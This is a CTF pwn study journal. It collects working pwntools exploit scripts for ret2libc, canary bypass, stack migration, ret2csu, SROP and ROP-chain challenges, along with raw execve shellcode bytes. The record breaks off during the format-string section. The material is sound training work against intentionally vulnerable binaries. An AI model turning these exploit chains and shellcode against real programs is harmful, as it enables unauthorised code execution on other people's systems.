(archived) ctf exercises (pwn)
Divided into four parts: stack, fmtstr, heap, and misc, used to record ideas and useful gadgets.
The following second-level headings without a website specified default to the corresponding topic section on buuoj.
updated on 2022/10/23:
The first five pages of buu have been completed, and this column will no longer update specific ideas and exploits.
Next, I may study kernel and high-version house series. Writeups for competition problems will be published in separate articles, with links added in the corresponding sections.
stack
ctfshow-pwn-3: pwn03——ret2libc
You can use https://libc.blukat.me/ to query the addresses of various functions in the libc library, then calculate the actual addresses of other functions based on offsets.
You can also use LibcSearcher to automate this process.
exp (without LibcSearcher):
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#io = process("./stack1")
io = remote('pwn.challenge.ctf.show', 28199)
elf = ELF("./stack1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = flat(b"A" * (9 + 4), puts_plt, main_addr, puts_got) # Leak puts_got
io.recvuntil("\n\n")
io.sendline(payload1)
puts_addr = unpack(io.recv(4))
print(hex(puts_addr))
# 0xf7d6d360 Check on https://libc.blukat.me/
puts_libc = 0x067360
system_libc = 0x03cd10
str_bin_sh_libc = 0x17b8cf
base = puts_addr - puts_libc
system = base + system_libc
bin_sh = base + str_bin_sh_libc
payload2 = flat('a' * 13, system, 1, bin_sh )
io.sendline(payload2)
io.interactive()
exp (with LibcSearcher, tested)
from pwn import*
from LibcSearcher import*
elf=ELF('./pwn03')
#io=process('./pwn03')
io=remote('111.231.70.44',28021)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)
libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()
pwn1_sctf_2016
C++ randomly shows up in this series, and I didn't understand that replace()
function at all.
Moreover, if the input length exceeds 31 characters, it gets truncated, making it impossible to cause a stack overflow.
After reading the solution, I learned that replace()
replaces every I
in the input with you
.
Combined with the fact that the vuln()
function uses the dangerous strcpy()
function at the end, I immediately knew what to do.
Since the offset between the input point and the return address is 60, I just needed to input 20 I
s, followed by the address of the backdoor.
It seems that in the future, when encountering strange strings, I should try inputting them—there might be new discoveries.
ctfshow-pwn-4: pwn04——Buffer Overflow with Canary
This is a stack overflow challenge with canary protection, allowing two input operations and outputting the buffer string.
Through IDA debugging, it can be observed that the canary is located adjacent to the buffer string and downstream from it, making it impossible to directly overwrite the return address.
However, the highest byte of the canary is always 0, which leads us to the following approach:
During the first input, fill the buffer completely so that the newline character overwrites the high byte of the canary. Then, during the second input, subtract the ASCII value corresponding to this newline character.
from pwn import*
context.log_level = 'debug'
#elf=ELF('./stack1')
io=process('./ex2')
#io=remote('pwn.challenge.ctf.show', 28140)
payload1=b'I'*100
io.recvuntil('\n')
io.sendline(payload1)
fst_str = io.recvuntil('\x68') # A fixed byte after the canary
#print(hex(u32(fst_str[-5:-1])))
canary = u32(fst_str[-5:-1])
payload2=b'I'*100+p32(canary-0xa)+b'bbbbccccdddd'+p32(0x804859b) # '0xa' is the ASCII value of the newline character
io.sendline(payload2)
io.interactive()
So this is called a format string vulnerability after all
ctfshow-pwn-6: pwn06—64bit Buffer Overflow
One difference between 64-bit stack overflow and 32-bit is the need to maintain stack balance, thus requiring two returns.
However, locally, I succeeded with just one return. Still unsure of the reason.
from pwn import*
#context.log_level = 'debug'
#elf=ELF('./stack1')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show', 28122)
payload1=b'I'*12+b'AAAAAAAA'+p64(0x4005b6)+p64(0x400577)
io.sendline(payload1)
io.interactive()
ctfshow-pwn-7: pwn07—64bit ret2libc
A 64-bit pwn3.
Since the parameter passing method in 64-bit is "first 6 in registers, then using the stack," the values of the registers need to be popped during stack unwinding. Therefore, it is necessary to find the values of pop_rdi
and pop_ret
and insert them into the payload.
Commands to find the addresses of pop_rdi
and pop_ret
instructions:
ROPgadget --binary pwn --only 'pop|ret'
Then the payload format is as follows:
# for 32 bit
b'a'*offset + p32(puts_plt) + p32(ret_addr) + p32(puts_got)
b'a'*offset + p32(sys_addr) + b'A'*4 + p32(str_bin_sh)
# for 64 bit
b'a'*offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
b'a'*offset + """p64(pop_ret)""" + p64(pop_rdi) + p64(str_bin_sh) + p64(sys_addr)
exp (with LibcSearcher, tested)
# ctf.show - libc6_2.27
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf=ELF('./pwn')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show',28184)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
pop_rdi = 0x4006e3
pop_ret = 0x4004c6
payload1=b'a'*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload1)
io.recvline()
str_first = io.recv(6).ljust(8,b'\x00')
puts_add=u64(str_first)
print(hex(puts_add))
libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*20+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_add)
io.sendline(payload2)
io.interactive()
However, it's strange that this code doesn't work locally again
ciscn_2019_c_1
A pwn07 with encryption. (Testing revealed that it's actually possible to get a shell without processing the input.)
Exploit code to obtain the GOT table address:
io.recvuntil('!\n')
io.sendline(b'1')
io.recvuntil('\n')
payload1=b'l'*88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload1)
io.recvline()
io.recvline()
str_first = io.recv(6).ljust(8,b'\x00')
Specifically, this location:

Why is the address of pop_rdi still at that location, and why has the length become shorter?
xctf-pwn-(beginner)-7: cgpwn2——ret2libc with system
A ret2libc attack with system but without /bin/sh
. The key part is as follows:
payload = b'a'*42 + p32(gets_plt) + p32(pop_ebx) + p32(buf2) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)
io.sendline(payload)
io.sendline('cat flag')
Will explain the principle when I have time.
xctf-pwn-(beginner)-8: level3—ret2libc without puts
It's still ret2libc, but there is no puts
function, so the payload to leak the libc address needs to be adjusted:

payload = flat([b'A' * 140, write_plt, main, 1, write_got, 4]) # the last three are arguments of "write"
Unfortunately, this time the Libcsearcher matches were not useful, but the challenge provided a libc_32.so.6
file. We need to use this file to import the libc library locally.
libc=ELF('./libc_32.so.6') #import
libcbase = libc_start_main_addr - libc.symbols['write']
system_addr = libcbase + libc.symbols['system'] #leak
binsh_addr = libcbase + 'bin_sh_addr' # we can't use 'symbols' to get address, we do it manually.
So what about 'bin/sh'
? Use this bash command:
strings -a -t x libc_32.so.6 | grep "bin/sh"
How to Connect with libc Locally – 3/18/2022
ls -l /lib/x86_64-linux-gnu/libc.so.6 # Find your local libc. For example, it's "libc-2.27.so" in WSL Ubuntu 18.04.
# Make sure to adjust your "import" statements and your "strings & grep" commands accordingly.
Achievement Unlocked: Finished the xctf-pwn beginner section! 🎉
get_started_3dsctf_2016——rop1
32bit.
The program provides a backdoor to read the flag, but requires passing two correct parameters.
Learned GDB debugging and recalled that the return address is separated from the function parameters by one return address. Function parameters are written in positive order.
The program flushes the buffer address upon exit, allowing the use of recv()
to obtain file output.
from pwn import*
from LibcSearcher import*
#io = process(argv = ['./get_started_3dsctf_2016'])
io = remote('node4.buuoj.cn', 27428)
backdoor = 0x80489a0
exit_addr = 0x804e6a0
arg1 = 0x308CD64F
arg2 = 0x195719D1
#gdb.attach(io, 'b *0x8048a3d')
context.log_level = 'debug'
payload1 = b'a'*56 + p32(backdoor) + p32(exit_addr) +p32(arg1) + p32(arg2)
io.sendline(payload1)
print(io.recv())
#io.interactive()
not_the_same_3dsctf_2016——rop2
There is a function that has already read the flag value and stored it at the location
fl4g
. Therefore, we first use this function to overwrite the return address, reading the flag into memory starting at the addressfl4g
. Next, we attempt to leak the content from this location to obtain the flag. For this, we need thewrite
function. Sincewrite
requires three parameters,we also need an instruction to pop three registers to clean up the stack. The finalThe specific exploit is as follows:p32(0)
corresponds to theret
operation included in the pop instruction, so an additional return address is needed. Since we have already output the flag, the return address does not matter and can be arbitrary.Copyright Notice: This article is an original work by the blogger "ShouCheng3" on CSDN, following the CC 4.0 BY-SA copyright license. Please include the original source link and this notice when reprinting. Original link: https://blog.csdn.net/qq_51232724/article/details/124057645
I don't quite understand this ROP operation. Actually, replacing that pop3
with another address doesn't seem to make a difference.
Now I understand—since this is 32-bit, the following three items serve as parameters and do not require register popping.
from pwn import *
from LibcSearcher import *
#io = process('123')
io = remote('node4.buuoj.cn', 27043)
elf = ELF('123')
context.log_level = 'debug'
flag_addr = 0x80eca2d
get_flag = 0x80489a0
pop3 = 0x80483b8
write_addr = elf.symbols['write']
#print(hex(write_addr))
payload = b'a'*(45) + p32(get_flag)+p32(write_addr)+p32(pop3)+p32(1)+p32(flag_addr)+p32(42)
#gdb.attach(io, 'break *0x8048a00')
io.sendline(payload)
#io.recv()
print(io.recv())
io.interactive()
[HarekazeCTF2019]baby_rop2——rop3
#rop
#printf("your input is %s!", buf);
payload1 = b'a'*(0x20+8) + p64(pop_rdi) + p64(fmt_addr) #1st argument of printf -> rdi
payload1 += p64(pop_rsi_r15) + p64(read_got) + p64(0) #2nd argument of printf -> rsi
payload1 += p64(printf_plt) + p64(main_addr) #call printf_plt to output the got of read()
payload2 = b'a'*(0x20+8) + p64(pop_rdi) + p64(bin_sh)+ p64(sys_addr)
The reason for using read_got
instead of printf_got
in the second line is that printf
does not support null-terminated truncation at the end.
ciscn_2019_es_2—Stack Migration 1
Applicable when the payload length is limited, this technique writes the ROP chain onto the stack and hijacks the program execution flow to the constructed ROP chain by modifying the value of ebp
.
In this challenge, the read length is limited to sizeof(buf) + 8
, so the previous retlibc3
method cannot be used directly.
The buffer variable and the upper function's ebp
are obtained through dynamic debugging:

As shown in the figure, 0xffffcdd8 - 0xffffcda0 = 0x38
is the offset between the tampered stack frame ebp
and the input.
from pwn import *
def hijackebp():
payload1 = b'a'*0x27 + b'b'
io.sendafter('Welcome, my friend. What\'s your name?\n', payload1) # !!! send, not sendline !!!
io.recvuntil('b')
ebp = u32(io.recv(4)) # the value of ebp ([ebp])
s = ebp - 0x38 # the offset between [ebp] and your input argument (get this by debugging)
return s
def exploit(s):
payload2 = (p32(fake_ebp) + p32(sys_plt) + p32(vul) + p32(s + 0x10) + b'/bin/sh').ljust(0x28, b'\0')
# fake ret_addr, true ret_addr
payload2 += p32(s) + p32(leave)
# input_addr, leave_ret_rop
io.sendline(payload2)
if __name__ == "__main__":
#io = process('./ciscn_2019_es_2')
io = remote('node4.buuoj.cn', 25446)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_es_2')
sys_plt = elf.sym['system']
leave = 0x080484b8
vul = 0x8048595
input_addr = hijackebp()
exploit(input_addr)
io.interactive()
ciscn_2019_s_3—ret2csu
The key point of this challenge is to execute the function execve('/bin/sh',0,0)
. To call this function, the syscall
instruction is required, and the following conditions must be met: rax = 0x3b, rdi = <bin_sh_addr>, rsi = rdx = 0
.
You can obtain pop rdi
and pop rsi
gadgets from ROPgadget
to successfully pass parameters, and mov rax, 3bh
can also be found near the gadgets
function. However, there are no direct stack-related instructions involving the rdx
register, and the program does not contain the /bin/sh
string, so you need to insert it yourself and locate its address on the stack.
By searching for the string rdx
in IDA, the only instruction that might change the value of rdx
is found in __libc_csu_init
. Below is its disassembled code (the latter part):
__libc_csu_init Source
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 038 4C 89 EA mov rdx, r13
.text:0000000000400583 038 4C 89 F6 mov rsi, r14
.text:0000000000400586 038 44 89 FF mov edi, r15d
.text:0000000000400589 038 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 038 48 83 C3 01 add rbx, 1
.text:0000000000400591 038 48 39 EB cmp rbx, rbp
.text:0000000000400594 038 75 EA jnz short loc_400580
.text:0000000000400594
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 038 48 83 C4 08 add rsp, 8
.text:000000000040059A 030 5B pop rbx
.text:000000000040059B 028 5D pop rbp
.text:000000000040059C 020 41 5C pop r12
.text:000000000040059E 018 41 5D pop r13
.text:00000000004005A0 010 41 5E pop r14
.text:00000000004005A2 008 41 5F pop r15
.text:00000000004005A4 000 C3 retn
.text:00000000004005A4 ; } // starts at 400540
.text:00000000004005A4
.text:00000000004005A4 __libc_csu_init endp
Our target is the instruction mov rdx, r13
. Since r13
is in the pop sequence, we can insert the pop_6
gadget followed by 6 addresses. Among these, r13
and r14
must be set to 0 to match the subsequent jump to chg_rdx
.
Next is the issue of call [r12+rbx*8]
. Theoretically, this instruction can jump to any address. Here, I chose to jump directly to the next instruction (though it could fully jump to the next gadget), so we can set [r12] = 0x40058d
and rbx = 0
.
How do we obtain the value of r12
? It certainly has a fixed offset from the input address. We can write a gadget pointing to its own payload to additionally print current stack information. I placed the /bin/sh
string at the input location. The offset between the input location and the value at input_addr+0x20
can be obtained through dynamic debugging (this offset may differ between remote and local environments, but the difference is small and can be adjusted by trial and error).
To avoid the loop at 0x400594
, we should set rbx + 1 == rbp
. Here, I set rbp = 1
, and then pass 6 arbitrary addresses for popping.
Since mov edi, r15d
will zero the upper bits of rdi
, we need to set another pop_rdi
payload. Finally, call syscall
.
🎉 Finished the first page of BUU!
eax_59 = 0x4004e2 # rax = 0x3b
get_sys = 0x400517
pop_rdi = 0x4005a3
vuln = 0x4004ed
pop_6 = 0x40059a
chg_rdx = 0x400580
'''
rax = 59
execve('/bin/sh',0,0); rdi,rsi,rdx
offset = 0x128
'''
def exploit():
payload0 = b'a'*16 + p64(vuln)
io.send(payload0)
input_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x118 # in local it's 0x128
log.success('input_addr==>'+hex(input_addr))
payload1 = b'/bin/sh\0' + p64(0x40058d) + p64(eax_59)
#payload1 += p64(pop_r15) + p64(pop_r15) + p64(get_sys)
#mov rdi=inputaddr, rsi=0, rdx=0
payload1 += p64(pop_6) + p64(0) + p64(1) + p64(input_addr+8) + p64(0) + p64(0) + p64(0)
payload1 += p64(chg_rdx) + p64(0)*6
payload1 += p64(pop_rdi) + p64(input_addr)
payload1 += p64(get_sys)
io.send(payload1)
[Black Watch Recruitment Challenge] PWN 1—Stack Migration 2
It's so hard to join a group these days
Stack migration requires writing your ROP chain to a fixed segment (such as the .bss section), and then modifying the value of EBP to achieve stack redirection. This technique is suitable for situations where the buffer overflow length is limited.
payload1 = p32(fake_ebp) + p32(write_plt) + p32(vuln) + p32(1) + p32(write_got) + p32(4)
# ROP chain for write_got leak written to the .bss segment
payload2 = b'a'*(24) + p32(bss) + p32(leave_ret)
# Stack overflow in the vuln function, note that the leave instruction increases EBP by 4 bytes
cmcc_simplerop—statically_linked rop
Method to check for static linking: use the file
command.
Method 1 — Manual ROP
This ROP chain hands over the read function to the user for input, which is a clever and previously unseen type.
def exploit():
read = 0x806cd50
pop_edx_ecx_ebx = 0x806e850
pop_eax = 0x80bae06
int_80 = 0x080493e1
buf = 0x80ec304 # any address inside the program is OK.
payload = flat([b'a'*32, read, pop_edx_ecx_ebx, 0, buf, 8]) #8 is len('/bin/sh\0')
payload += flat([pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, buf])
payload += flat(int_80)
io.sendline(payload)
io.sendline(b'/bin/sh\0')
Method 2——Ropper execve
ropper -f <file> --chain execve
Note: The generated syntax is Python 2 syntax, and you need to manually change str
to bytes
.
Although the ROP chain generated by ropper
is shorter than that from ROPgadget
, it still does not meet the read
length limitation.
def exploit():
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = b'a'*32
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'//bi'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'n/sh'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
io.sendline(rop)
At this point, manual modification is needed, and the previously learned assembly knowledge comes in handy:
def exploit():
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = b'a'*32
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'/sh\0'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += p(0x806e850) # 0x806e850: pop edx; pop ecx; pop ebx; ret;
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
print(len(rop))
io.sendline(rop)
The length is exactly 100, which passes.
Method 3——mprotect + shellcode
int mprotect(const void *start, size_t len, int prot);
The first parameter is the starting address of the allocated memory, which must be aligned with the memory page, i.e., divisible by 0x1000; the second parameter must also be a multiple of the memory page size; the third parameter defines the memory attributes, where 1 stands for readable, 2 for writable, 4 for executable, and 7 for readable, writable, and executable.
def exploit():
read = 0x806cd50
mprotect = 0x806d870
buf = 0x8050000 # must be multiple of 0x1000
pop_edx_ecx_ebx = 0x806e850
shellcode = asm(shellcraft.sh())
payload = flat([b'a'*32, mprotect, pop_edx_ecx_ebx, buf, 0x1000, 7])
payload += flat([read, pop_edx_ecx_ebx, 0, buf, len(shellcode)])
payload += flat(buf)
io.sendline(payload)
io.sendline(shellcode)
wustctf2020_getshell_2——System Call
Originally thought stack migration would be needed, but a system call
solved it, saving 4 bytes of space.
system_call = 0x8048529
sh = 0x8048670
payload = 'a'*28 + p32(system_call)+p32(sh)
pwnable_start
23-byte shellcode: b'\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80'
Or a 20-byte version: b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
ret2shellcode, call the write function to leak the stack address.
Celebration for finishing the second page of buu~
def exploit():
shellcode = b'\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80'
payload = b'a'*20 + p32(0x8048087)
io.send(payload)
io.recvuntil('CTF:')
buf = u32(io.recv(4))
payload = b'a'*20 + p32(buf+0x14) + shellcode
io.sendline(payload)
nepctf2022: nyancat——syscall
Due to the NX protection being enabled, it is not possible to directly write shellcode.
def exploit():
payload1 = b'a'*16 + p32(0x80480f0) + p32(0x8048115)
payload1 += p32(0) + p32(0x804b090) + p32(0x804b097) + p32(0)
# 0 is fd, 0x804b090 is buf and the memory of 0x804b097 is 0 (so ebx = edx = 0, ecx = flag_addr)
# after return, ecx = edx = 0 && ebx = ecx = flag_addr
io.send(payload1)
payload2 = b'/bin/sh'.ljust(0xb, b'\0') # the length of the input (eax) is 0xb, time to getshell
io.send(payload2)
gyctf_2020_borrowstack - Stack Migration 3
For multiple stack migrations, it is necessary to pre-write the next segment in the BSS section to serve as ebp/rbp.
def exploit():
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload1 = b'a'*offset + p64(bss+0x90) + p64(leave_ret)
p.send(payload1)
payload2 = b'\0'*0x90 + p64(bss+0x60) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_leave)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\0'))
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + one_gadget_local
payload3 = b'\0'*0x60 + p64(0) + p64(one_gadget)
p.send(payload3)
qwb2022_devnull—Stack Migration + ROP
64-bit shellcode: b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
The first stack overflow (off by one) enables input by changing the file descriptor to 0.
The second stack overflow modifies the buf pointer and rbp, and performs a stack migration.
The third stack overflow writes the address where RWX permissions need to be modified into the beginning of the buf, combined with ROP to change the permissions of the given address to RWX, allowing the final shellcode to execute.
Finally, redirect the output to standard error.
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
cross = 0x3fe3c0
leave_ret = 0x401354
chg_rax = 0x401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
mprotect = 0x4012d0
def exploit():
payload1 = b'a'*0x20
p.sendafter('filename\n', payload1)
payload2 = b'b'*(0x1c-8) + p64(cross-0x10) + p64(cross) + p64(leave_ret)
p.sendafter('discard\n', payload2)
payload3 = p64(0x3fe000)*2 + p64(cross+8) + p64(chg_rax) + p64(mprotect)
payload3 += p64(0xdeadbeef) + p64(cross+0x28) + shellcode
p.send(payload3)
jarvisoj_level5—ret2csu2
Used a universal gadget to modify registers.
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu
csu_front_addr = 0x400690
csu_end_addr = 0x4006AA
fakeebp = b'b' * 8
pop_rdi = 0x4006b3
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = b'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
def exploit():
write_got = elf.got['write']
main_addr = elf.symbols['main']
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = write_addr - libc.symbols['write']
print(hex(write_addr), hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
payload2 = b'a'*0x88 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)
cmcc_pwnme2
Note the exec_string
function:
int exec_string()
{
char s; // [esp+Bh] [ebp-Dh] BYREF
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen(&string, "r");
if ( !stream )
perror("Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}
It can redirect the content in string
directly to the shell—not sure about the underlying principle.
def exploit():
payload = b'A' * 112 + p32(elf.sym['gets']) + p32(exec_string) + p32(string_addr)
io.sendline(payload)
io.sendline('/flag')
spqr——stack off by null
All protections except ASLR are disabled. The vuln
function uses a 16-byte buffer with scanf("%16s", buf)
.
An off-by-null vulnerability can be used to zero the last byte of RBP. If this happens to be the buffer, it is possible to write assembly via ret
, and then use the assembly to call sys_read
, write shellcode, and jmp
into it.
Due to compiler and system differences, it is not possible to construct shellcode shorter than 8 bytes locally, so the exploit did not succeed in the local environment.
ret = 0x400406
shellcode2 = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
def exploit():
shellcode = asm('''
xchg rdx, rdi;
mov rsi, rdx;
syscall;
jmp rsi
''')
print(len(shellcode)) # the length is 10, it's unable to getshell
payload = shellcode.ljust(8, b'\0') + p64(ret)
io.sendline(payload)
io.sendline(shellcode2)
Geek Challenge_not bad——orw+stack migration
General orw code for reading flag:
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
payload = asm(shellcode)
io.send(payload)
exp:
vmmap = 0x123000
jmp_rsp = 0x400a01
def exploit():
asmcode = asm('''
xor rax, rax;
xor rdi, rdi;
mov rsi, 0x123000;
mov rdx, 0x1000;
syscall;
jmp rsi
''')
payload = asmcode.ljust(40, b'\0') + p64(jmp_rsp)
payload += asm('''
sub rsp, 0x30;
jmp rsp
''') # buf(0x20)+rbp(0x8)+ret(0x8)=0x30
io.send(payload)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
payload = asm(shellcode)
io.send(payload)
qwb2019_babymimic
A mimic ROP challenge. The program provides both a 32-bit and a 64-bit file, which perform identical functions, with the only difference being the stack size.
Since it is statically compiled, ropper can be used directly to write the ROP chain.
For payload construction, you can refer to this:

Since the payload is first built for the 64-bit version and then adapted for the 32-bit version, here is the 32-bit execution flow:
- When the eip reaches the
ret
instruction invuln
, esp is at 0x10c. - When the eip reaches 0x110, esp is at 0x110.
- Next, eip goes to 0x114, and esp becomes 0x110 + 4 + 0x10c = 0x114 + 0x10c.
- Next, eip executes
pop eax, ret
, which is equivalent topop eax, pop eip
. The eip is at [0x118 + 0x10c], and it begins executing the subsequent ROP chain.
def exploit():
# 0x10c+4 32bit
# 0x110+8 64bit
ret_10c = 0x08099bbe
pop_eax_ret = 0x80a8af6 # pop_eax_ret == rop[:4]
payload = b'a'*0x110+p32(ret_10c)+p32(pop_eax_ret)+rop64.ljust(0x10c, b'\0')+rop[4:]
io.send(payload)
rootersctf_2019_srop
The condition to execute sigreturn
is only when rax == 15
and a syscall
is executed.
You can use the SigreturnFrame()
integrated in pwntools to modify specific registers.
In this challenge, the stack is lifted via leave; ret
after syscall
, setting the buf
at a fixed location. In the next input, '/bin/sh\0'
is directly written to the specified location, and then sys_execve
is called.
def exploit():
syscall = 0x401033
buf = 0x402000
pop_rax_syscall = 0x401032
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = buf
frame.rdx = 0x400
frame.rbp = buf
frame.rip = syscall
payload = b'a'*0x88 + p64(pop_rax_syscall) + p64(15) + bytes(frame)
io.send(payload)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = buf + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b'a'*8 + p64(pop_rax_syscall) + p64(15) + bytes(frame)
payload = payload.ljust(0x200, b'\0') + b'/bin/sh\x00'
io.send(payload)
360chunqiu2017_smallest——leak stack+srop
We can not only control the return value via sys_read to manipulate rdi, but also leak rsp/rbp through sys_write to obtain the stack address.
According to https://hackeradam.com/x86-64-linux-syscalls/, the syscall number for write is 1, and the file descriptor for stdout is also 1, making this feasible.
After leaking the stack address, there are several approaches (the latter two are from https://bbs.pediy.com/thread-258047-1.htm):
- (Using one-time srop) Since the stack address is known, but ASLR randomizes the last two or three digits, we can fill the stack with
/bin/sh\0
and perform srop, writing an arbitrary rdi address for collision. The success probability is approximately 3/16. - (Using two-time srop) After leaking the stack address, perform srop at a specified location to write
/bin/sh\0
, then use stack pivoting and srop to executeexecve('bin/sh', 0, 0)
. - (Using two-time srop) After leaking the stack address, perform srop at a specified location to write shellcode, then use srop with mprotect to grant execution permissions to the stack.
The following uses the first approach:
def exploit():
io.send(p64(0x4000b0)*3)
io.send(p8(0xb8)) # rax=1, sys_write
io.recv(8)
stack = u64(io.recv(8)) & 0xfffffffff000
log.info('stack: ' + hex(stack))
frame=SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack + 0x520 # random
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x4000be
io.send(p64(0x4000b0)+p64(0x4000be)+bytes(frame)+b'/bin/sh\0'*95)
io.send(p64(0x4000be)+bytes(frame)[:7]) # rax=15, sys_rt_sigreturn
fmtstr
xctf-pwn-(beginner)-4: string
Format string vulnerabilities. Gradually becoming less beginner-friendly
For improperly formatted printf functions, the following exploitation methods are available:
Skill 1: Using the printf function to view data on the stack:
1234-%p-%p-%p-%p-%p-...-%p
If this string is printed, all
